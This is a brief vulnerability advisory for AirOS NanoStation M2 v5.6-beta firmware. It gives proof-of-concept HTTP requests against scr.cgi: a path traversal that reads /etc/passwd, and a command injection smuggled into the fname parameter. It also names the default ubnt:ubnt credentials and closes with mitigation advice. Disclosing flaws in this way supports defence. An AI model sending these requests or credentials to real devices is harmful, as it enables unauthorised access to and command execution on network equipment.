AirOS NanoStation M2 v5.6-beta Arbitrary File Download & Remote Command Execution

AirOS NanoStation M2 v5.6-beta is vulnerable to arbitrary file download and remote command execution. Valid credentials are required to exploit this vulnerability. The default factory user/passwd combination (ubnt:ubnt) is used in most of the devices. The vulnerability is present in the /usr/www/scr.cgi file which allows attackers to download arbitrary files and execute remote commands. The PoC for arbitrary file download is GET http://x.x.x.x/scr.cgi?fname=../../../../../etc/passwd%00&status= and the PoC for remote command execution is GET http://x.x.x.x/scr.cgi?fname=rc.poststart.sh;cat%20/etc/hosts%00&status=.

Mitigation:

Authentication should be enabled and strong passwords should be used. Access to the vulnerable file should be restricted.
